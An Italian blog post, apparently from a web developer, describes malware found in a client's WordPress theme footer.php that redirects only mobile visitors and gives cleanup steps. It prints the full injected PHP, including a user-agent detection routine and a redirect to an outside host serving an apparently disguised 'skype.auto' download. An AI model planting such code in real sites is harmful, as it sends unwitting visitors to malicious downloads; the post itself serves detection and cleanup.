Redirect su sito porno? Attenti al Malware!

Una nuova categoria di Malware sta iniziando a diffondersi nei vari siti web (e blog wordpress): dedicato ai cellulari, smartphone e tablet.

Ieri ricevo una chiamata da un cliente nel quale mi veniva riferito che il suo sito SOLO se visualizzato da smartphone o tablet effettuava un redirect su un sito porno.
Non proprio in linea con il suo mercato!

Decisamente un danno d’immagine.

Il redirect veniva elaborato in base al riconoscimento dello USER AGENT,
ovvero quella variabile identificativa che indica al browser da quale dispositivo viene aperto il sito.

A rigor di logica essendo un redirect ci si aspetta che l’eventuale codice malefico lo ritrovi o nel file htaccess o nell’header del sito come è già successo in passato. E invece, no!

Scovando scovando questo malware ha scritto un’intera funzione PHP con i metodi della Classe Mobile Detect nel file footer.php del tema.

Ecco il codice malevolo:

<?php

function detect_mobile_device(){

    // check if the user agent value claims to be windows but not windows mobile

if(stristr(@$_SERVER['HTTP_USER_AGENT'],'windows')&&!stristr(@$_SERVER['HTTP_USER_AGENT'],'windows ce')) return false;

    // check if the user agent gives away any tell tale signs it's a mobile browser

if(preg_match('/up.browser|up. link |windows ce|iemobile|mini|mmp|symbian|midp|wap|phone|pocket|mobile|pda|psp/i',

    @$_SERVER['HTTP_USER_AGENT'])) return true;

    // check the http accept header to see if wap.wml or wap.xhtml support is claimed

if(isset($_SERVER['HTTP_ACCEPT'])&&(stristr($_SERVER['HTTP_ACCEPT'],'text/vnd.wap.wml')||

    stristr($_SERVER['HTTP_ACCEPT'],'application/vnd.wap.xhtml xml'))) return true;

    // check if there are any tell tales signs it's a mobile device from the server headers

if(isset($_SERVER['HTTP_X_WAP_PROFILE'])||isset($_SERVER['HTTP_PROFILE'])||

    isset($_SERVER['X-OperaMini-Features'])||isset($_SERVER['UA-pixels'])) return true;

    // build an array with the first four characters from the most common mobile user agents

$a = array ('acs-','alav','alca','amoi','audi','aste','avan','benq','bird','blac',

    'bla z','brew','cell','cldc','cmd-','dang','doco','eric','hipt','inno',

    'ipaq','java', 'jigs','kddi','keji','leno','lg-c','lg-d','lg-g','lge-',

    'maui','maxo','midp','mi ts','mmef','mobi','mot-','moto','mwbp','nec-',

    'newt','noki','opwv','palm','pana' ,'pant','pdxg','phil','play','pluc',

    'port','prox','qtek','qwap','sage','sams','s any','sch-','sec-','send',

    'seri','sgh-','shar','sie-','siem','smal','smar','sony ','sph-','symb',

    't-mo','teli','tim-','tosh','tsm-','upg1','upsi','vk-v','voda',' w3c ',

    'wap-','wapa','wapi','wapp','wapr','webc','winw','winw','xda','xda-');

    // check if the first four characters of the current user agent are set as a key in the array

if(isset($a[ substr (@$_SERVER['HTTP_USER_AGENT'],0,4)])) return true;

}

if (detect_mobile_device()) { header("Location: http://file0a.net/skype/12735/skype.auto?src=other");exit(); }

?>

Se ti ritrovi davanti un caso del genere ecco come puoi agire:

Se gira su WordPress…

1) Apri il file header.php, function.php e footer.php e verifica che non vi sia il codice che ho postato qui sopra.

2) Se trovi il codice cancellalo e ricarica il tuo tema.

3) Aggiorna wordpress alla sua ultima versione

Se NON gira su WordPress…

Identifica nel codice sorgente del tuo sito questo codice, cancellalo e ricarica i file.

Spero di esserti stati utile!